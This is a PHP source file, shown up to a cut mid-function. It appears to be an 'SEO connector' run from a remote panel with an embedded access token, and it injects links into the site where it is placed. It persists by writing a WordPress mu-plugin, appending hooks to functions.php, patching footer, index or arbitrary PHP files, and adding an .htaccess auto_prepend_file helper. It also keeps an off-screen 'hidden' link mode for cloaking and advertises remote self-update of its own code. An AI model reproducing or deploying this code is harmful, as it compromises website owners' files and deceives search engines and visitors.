<?php
/**
 * ROOT-SEO Connector v5.3
 * - Backwards compatible with v5.2 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities)
 * - NEW default: visible single-variant render (anti-cloaking, anti-footprint)
 * - NEW action: set_config (panel can change output_mode, render_types, etc.)
 * - NEW action: self_update (pull fresh PHP from panel and overwrite this file)
 * - add_link now honours render_types from request payload (v5.2 ignored it)
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

define('CONNECTOR_VERSION', '5.3');
define('PANEL_API_URL', 'https://api.root-seo.com/api');
define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn');
define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 5000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

function respond($success, $data = [], $message = '', $status = 200) {
    http_response_code($status);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode([
        'success' => (bool)$success,
        'message' => (string)$message,
        'data' => is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_raw_body() {
    static $raw = null;
    if ($raw === null) {
        $raw = file_get_contents('php://input');
        if ($raw === false) $raw = '';
        if (strlen($raw) > MAX_REQUEST_BYTES) {
            respond(false, [], 'request_too_large', 413);
        }
    }
    return $raw;
}

function get_request_data() {
    $data = [];
    if (!empty($_GET)) {
        foreach ($_GET as $k => $v) $data[$k] = $v;
    }
    if (!empty($_POST)) {
        foreach ($_POST as $k => $v) $data[$k] = $v;
    }
    $raw = get_raw_body();
    if ($raw !== '') {
        $json = json_decode($raw, true);
        if (is_array($json)) {
            foreach ($json as $k => $v) $data[$k] = $v;
        }
    }
    return $data;
}

function get_action_name($req) {
    $action = '';
    if (isset($req['action'])) $action = (string)$req['action'];
    if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
    if ($action === '') $action = 'ping';
    $action = strtolower(trim($action));
    $action = preg_replace('/[^a-z0-9_]/', '', $action);
    return $action ?: 'ping';
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function allowed_render_types() {
    // Whitelist; not the default. default_render_types() returns a small subset.
    return ['text_inline', 'text_footer', 'badge_link', 'button_link', 'compact_list_item', 'micro_widget'];
}

function default_render_types() {
    // v5.3: tek varyant. Spam footprint kucultmek icin sadece text_inline.
    return ['text_inline'];
}

function default_placement_state() {
    return [
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => [],
    ];
}

function default_config() {
    // v5.3: visible (Google/Semrush hidden CSS'i discount eder), tek varyant, sponsored rel destegi opsiyonel.
    return [
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => default_render_types(),
        'link_rel_strategy' => 'preserve',
        'placement' => default_placement_state(),
    ];
}

function merge_configs($base, $incoming) {
    $out = $base;
    foreach ($incoming as $key => $value) {
        if ($key === 'placement' && is_array($value)) {
            $out['placement'] = array_merge(default_placement_state(), $value);
        } else {
            $out[$key] = $value;
        }
    }
    return $out;
}

function load_config() {
    $cfg = load_json_file(CONFIG_FILE, []);
    $cfg = merge_configs(default_config(), $cfg);
    $types = [];
    foreach ((array)($cfg['render_types'] ?? []) as $type) {
        $type = trim((string)$type);
        if ($type !== '') $types[] = $type;
    }
    $cfg['render_types'] = $types ?: default_render_types();
    return $cfg;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === '' || strpos($expected, '{{') !== false) return false;
    $provided = '';
    if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) {
        $provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']);
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function enforce_optional_replay_guard() {
    $ts = isset($_SERVER['HTTP_X_RS_TS']) ? trim((string)$_SERVER['HTTP_X_RS_TS']) : '';
    $reqId = isset($_SERVER['HTTP_X_RS_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_RS_REQ_ID']) : '';
    if ($ts === '' && $reqId === '') return;
    if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400);
    if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400);
    if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400);
    if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409);
    $store = load_nonce_store();
    $now = time();
    foreach ($store as $key => $seenAt) {
        if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) {
            unset($store[$key]);
        }
    }
    if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409);
    $store[$reqId] = $now;
    save_nonce_store($store);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, ['http', 'https'], true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function filter_render_types($types) {
    $allowed = allowed_render_types();
    $final = [];
    foreach ((array)$types as $type) {
        $type = trim((string)$type);
        if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) {
            $final[] = $type;
        }
    }
    return $final ?: default_render_types();
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = $placement['status'] ?? 'not_installed';
    $row['placement_strategy'] = $placement['strategy'] ?? null;
    $row['placement_target'] = $placement['target'] ?? null;
    $row['last_verified_at'] = $placement['last_verified_at'] ?? null;
    return $row;
}

function normalize_link_row($key, $row, $config) {
    if (!is_array($row)) return null;
    $url = validate_url_value($row['url'] ?? '');
    $anchor = validate_anchor_text($row['anchor'] ?? '');
    if ($url === '' || $anchor === '') return null;
    $rel = normalize_rel($row['rel'] ?? 'dofollow');
    $id = validate_link_id($row['id'] ?? '');
    if ($id === '') {
        $id = validate_link_id($key);
    }
    if ($id === '') {
        $id = build_deterministic_link_id($url, $anchor, $rel);
    }
    $placement = $config['placement'] ?? default_placement_state();
    $normalized = [
        'id' => $id,
        'url' => $url,
        'anchor' => $anchor,
        'rel' => $rel,
        'expires_at' => isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null,
        'created' => isset($row['created']) ? intval($row['created']) : time(),
        'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(),
        'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'aggressive_hybrid_multi'))),
        'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())),
        'cleanup_status' => trim((string)($row['cleanup_status'] ?? 'active')),
        'cleanup_failed_at' => $row['cleanup_failed_at'] ?? null,
        'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20),
        'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'),
        'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null),
        'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null),
        'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null),
    ];
    return $normalized;
}

function load_links() {
    $raw = load_json_file(LINKS_FILE, []);
    $config = load_config();
    $normalized = [];
    foreach ($raw as $key => $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item['id']] = $item;
        }
    }
    return $normalized;
}

function save_links($links) {
    $config = load_config();
    $normalized = [];
    foreach ((array)$links as $key => $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item['id']] = $item;
        }
    }
    ksort($normalized);
    return save_json_file(LINKS_FILE, $normalized);
}

function filtered_links($links) {
    $visible = [];
    $expired = [];
    $now = time();
    foreach ($links as $link) {
        if (!is_array($link)) continue;
        $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0;
        if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
            $expired[] = $link;
            continue;
        }
        $visible[] = $link;
    }
    return [$visible, $expired];
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

function rootseo_hidden_container_style($outputMode) {
    if ($outputMode === 'visible') {
        // Discreet but discoverable: small text block at bottom of footer/article.
        return 'display:block;margin:12px 0 4px;font-size:12px;line-height:1.5;color:#888;';
    }
    // Backwards compatible hidden mode (NOT recommended; Google may discount).
    return 'position:absolute;left:-9999px;top:auto;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none;white-space:nowrap;';
}

function rootseo_anchor_style($type, $outputMode) {
    if ($outputMode === 'visible') {
        switch ($type) {
            case 'badge_link':
                return 'display:inline-block;padding:2px 8px;border-radius:999px;background:#f5f5f5;color:#333;text-decoration:none;font-size:12px;margin:0 6px 6px 0;';
            case 'button_link':
                return 'display:inline-block;padding:6px 12px;border-radius:6px;background:#222;color:#fff;text-decoration:none;font-size:13px;margin:0 6px 6px 0;';
            default:
                return 'color:inherit;text-decoration:underline;font-size:inherit;';
        }
    }
    // Hidden (legacy) mode
    return 'color:inherit;text-decoration:none;font-size:1px;line-height:1;';
}

function build_render_variant_html($link, $type, $outputMode) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    $style = rootseo_anchor_style($type, $outputMode);
    switch ($type) {
        case 'badge_link':
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:1px 7px;border-radius:999px;border:1px solid currentColor;">' . $anchor . '</span></a>';
        case 'button_link':
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:4px 10px;border-radius:6px;border:1px solid currentColor;">' . $anchor . '</span></a>';
        case 'compact_list_item':
            return '<ul style="margin:0;padding:0;list-style:none;"><li><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></li></ul>';
        case 'micro_widget':
            return '<aside><strong>' . $anchor . '</strong> <a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></aside>';
        case 'text_footer':
            return '<span><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></span>';
        case 'text_inline':
        default:
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a>';
    }
}

function rootseo_build_render_html($markRenderedOnce = true) {
    if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) {
        return '';
    }
    if ($markRenderedOnce) {
        define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true);
    }
    $links = load_links();
    list($activeLinks, $expiredLinks) = filtered_links($links);
    if (empty($activeLinks)) return '';
    $config = load_config();
    $outputMode = strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack')));
    $parts = [];
    foreach ($activeLinks as $link) {
        $variants = [];
        foreach (filter_render_types($link['render_types'] ?? $config['render_types']) as $type) {
            $variants[] = '<div data-rs-variant="' . htmlspecialchars($type, ENT_QUOTES, 'UTF-8') . '">' . build_render_variant_html($link, $type, $outputMode) . '</div>';
        }
        if (!empty($variants)) {
            $parts[] = '<div data-rs-link-id="' . htmlspecialchars($link['id'], ENT_QUOTES, 'UTF-8') . '">' . implode('', $variants) . '</div>';
        }
    }
    if (empty($parts)) return '';
    return '<div data-rootseo-render="multi-pack" style="' . rootseo_hidden_container_style($outputMode) . '">' . implode('', $parts) . '</div>';
}

function rootseo_render_links_html() {
    return rootseo_build_render_html(true);
}

function find_document_root() {
    $base = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (empty($base)) {
        $base = dirname(__FILE__);
        for ($i = 0; $i < 5; $i++) {
            if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break;
            $parent = dirname($base);
            if ($parent === $base) break;
            $base = $parent;
        }
    }
    return $base;
}

function get_active_wp_theme_footer($base) {
    $themes = glob($base . '/wp-content/themes/*/footer.php');
    if (!$themes) return null;
    $latest = null;
    $latestTime = 0;
    foreach ($themes as $footer) {
        $mtime = @filemtime($footer);
        if ($mtime > $latestTime) {
            $latestTime = $mtime;
            $latest = $footer;
        }
    }
    return $latest;
}

function get_footer_paths($base, $siteType) {
    $paths = [];
    switch ($siteType) {
        case 'wordpress':
            $themes = glob($base . '/wp-content/themes/*/footer.php');
            if ($themes) $paths = array_merge($paths, $themes);
            break;
        case 'joomla':
            $tpls = glob($base . '/templates/*/index.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'drupal':
            $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'opencart':
            $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'prestashop':
            $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
            if ($tpls) $paths = array_merge($paths, $tpls);
            $tpls2 = glob($base . '/themes/*/footer.tpl');
            if ($tpls2) $paths = array_merge($paths, $tpls2);
            break;
        case 'laravel':
            $layouts = glob($base . '/resources/views/layouts/*.blade.php');
            if ($layouts) $paths = array_merge($paths, $layouts);
            break;
    }
    $general = [
        $base . '/footer.php',
        $base . '/includes/footer.php',
        $base . '/inc/footer.php',
        $base . '/template/footer.php',
        $base . '/templates/footer.php'
    ];
    foreach ($general as $path) {
        if (file_exists($path)) $paths[] = $path;
    }
    return array_values(array_unique($paths));
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function detect_site_info() {
    $base = find_document_root();
    $info = [
        'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
        'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
        'site_type' => 'static',
        'language' => 'EN',
        'country' => 'US',
        'footer_detected' => false,
        'footer_writable' => false,
        'meta_description' => '',
        'charset' => 'UTF-8',
        'php_version' => phpversion(),
        'document_root' => $base,
        'connector_path' => __FILE__,
    ];
    if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
        $info['site_type'] = 'wordpress';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
        $info['site_type'] = 'joomla';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
        $info['site_type'] = 'drupal';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
        $info['site_type'] = 'opencart';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
        $info['site_type'] = 'prestashop';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/artisan')) {
        $info['site_type'] = 'laravel';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/index.php')) {
        $info['site_type'] = 'php';
    }
    $indexFiles = ['index.php', 'index.html', 'index.htm'];
    foreach ($indexFiles as $file) {
        $path = $base . '/' . $file;
        if (!file_exists($path)) continue;
        $content = @file_get_contents($path, false, null, 0, 50000);
        if (!$content) continue;
        if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) {
            $info['site_name'] = trim(strip_tags($m[1]));
        }
        if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
            $info['meta_description'] = trim($m[1]);
        }
        if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
            $lang = strtolower($m[1]);
            $langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR'];
            $countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA'];
            $info['language'] = $langMap[$lang] ?? 'EN';
            $info['country'] = $countryMap[$lang] ?? 'US';
        }
        if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) {
            $info['footer_detected'] = true;
        }
        break;
    }
    $info['footer_writable'] = check_footer_writable($base, $info['site_type']);
    $info['footer_paths'] = get_footer_paths($base, $info['site_type']);
    $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null;
    return $info;
}

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "<!-- ROOTSEO_HTML_START:$marker -->" . rootseo_build_render_html(false) . "<!-- ROOTSEO_HTML_END:$marker -->";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

function upsert_php_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
    $content = @file_get_contents($filePath);
    if ($content === false) return [false, 'file_read_failed'];
    $snippet = build_dynamic_php_snippet($marker);
    $existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
        return [false, 'file_write_failed'];
    }
    $newContent = null;
    foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n";
    if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
    return [true, 'inserted_block'];
}

function upsert_html_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
    $content = @file_get_contents($filePath);
    if ($content === false) return [false, 'file_read_failed'];
    $block = build_static_html_block($marker);
    $existing = replace_between_markers($content, "<!-- ROOTSEO_HTML_START:$marker -->", "<!-- ROOTSEO_HTML_END:$marker -->", $block);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
        return [false, 'file_write_failed'];
    }
    $newContent = null;
    foreach (['</body>', '</footer>', '</html>'] as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . "\n" . $block . "\n";
    if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
    return [true, 'inserted_block'];
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo['document_root'];
    $muDir = $base . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
    }
    if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
    $marker = placement_marker('wp_mu_plugin');
    $pluginPath = $muDir . '/rootseo-links-v5.php';
    $connectorPath = addslashes(__FILE__);
    $code = "<?php\n/* ROOTSEO_MUPLUGIN:$marker */\nif (!defined('ABSPATH')) { return; }\nadd_action('wp_footer', function () {\n    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n}, 9999);\n";
    if (@file_put_contents($pluginPath, $code) === false) return [false, null, null, 'mu_plugin_write_failed'];
    return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}

function install_functions_hook($siteInfo) {
    $footer = $siteInfo['active_theme_footer'] ?: null;
    if (!$footer) return [false, null, null, 'active_theme_footer_missing'];
    $functionsFile = dirname($footer) . '/functions.php';
    if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable'];
    $marker = placement_marker('wp_functions_hook');
    $content = @file_get_contents($functionsFile);
    if ($content === false) return [false, null, null, 'functions_read_failed'];
    $connectorPath = addslashes(__FILE__);
    $functionName = 'rootseo_render_' . preg_replace('/[^a-z0-9]/i', '', $marker);
    $snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker */\nif (!function_exists('$functionName')) {\nfunction $functionName() {\n    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n}\nadd_action('wp_footer', '$functionName', 9999);\n}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n";
    if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) {
        return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists'];
    }
    if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed'];
    return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed'];
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, ['html', 'htm'], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}

function install_htaccess_prepend($siteInfo) {
    $base = $siteInfo['document_root'];
    $htaccess = $base . '/.htaccess';
    $marker = placement_marker('htaccess_prepend');
    $connectorPath = addslashes(__FILE__);
    $helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n});\n";
    if (@file_put_contents(PREPEND_HELPER_FILE, $helperCode) === false) return [false, null, null, 'prepend_helper_write_failed', $marker];
    $line = 'php_value auto_prepend_file "' . PREPEND_HELPER_FILE . '"';
    $content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: '') : '';
    if (strpos($content, PREPEND_HELPER_FILE) === false) {
        $newContent = "# ROOTSEO_HTACCESS_START:$marker\n$line\n# ROOTSEO_HTACCESS_END:$marker\n" . $content;
        if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, 'htaccess_write_failed', $marker];
    }
    return [true, $htaccess, 'dynamic_prepend', 'htaccess_prepend_installed', $marker];
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, 'no_writable_php_target', null];
}

function build_strategy_chain($siteInfo) {
    $chain = [];
    if ($siteInfo['site_type'] === 'wordpress') {
        $chain[] = 'wp_mu_plugin';
        $chain[] = 'wp_functions_hook';
        if (!empty($siteInfo['active_theme_footer'])) {
            $chain[] = ['file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer'];
        }
    }
    foreach ($siteInfo['footer_paths'] as $path) {
        $chain[] = ['file_patch', $path, 'footer_patch'];
    }
    foreach (['index.php', 'index.html', 'index.htm'] as $file) {
        $path = $siteInfo['document_root'] . '/' . $file;
        if (file_exists($path)) {
            $chain[] = ['file_patch', $path, 'index_patch'];
        }
    }
    $chain[] = 'htaccess_prepend';
    $chain[] = 'any_php_file';
    return $chain;
}

function append_placement_history($config, $entry) {
    $history = $config['placement']['history'] ?? [];
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function verify_current_placement($config) {
    $placement = $config['placement'] ?? default_placement_state();
    $strategy = $placement['strategy'] ?? '';
    $target = $placement['target'] ?? '';
    $marker = $placement['marker'] ?? '';
    if (!$strategy || !$target || !$marker) return [false, 'placement_missing'];
    if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') {
        if (!file_exists($target)) return [false, 'target_missing'];
        $content = @file_get_contents($target);
        return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing'];
    }
    if ($strategy === 'htaccess_prepend') {
        if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing'];
        $content = @file_get_contents($target);
        return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing'];
    }
    if (!file_exists($target)) return [false, 'target_missing'];
    $content = @file_get_contents($target);
    if ($content === false) return [false, 'target_unreadable'];
    if (($placement['install_mode'] ?? '') === 'static_html') {
        return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing'];
    }
    return strpos($content, "ROOTSEO_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing'];
}

function refresh_current_placement($config) {
    $placement = $config['placement'] ?? default_placement_state();
    $target = $placement['target'] ?? '';
    $marker = $placement['marker'] ?? '';
    $installMode = $placement['install_mode'] ?? '';
    if (!$target || !$marker) return [false, 'placement_target_missing'];
    if ($placement['strategy'] === 'htaccess_prepend') {
        $connectorPath = addslashes(__FILE__);
        $helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n    include_once '$connectorPath';\n});\n";
        return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed'];
    }
    if ($installMode === 'static_html') {
        return upsert_html_file_block($target, $marker);
    }
    if ($placement['strategy'] === 'wp_mu_plugin') {
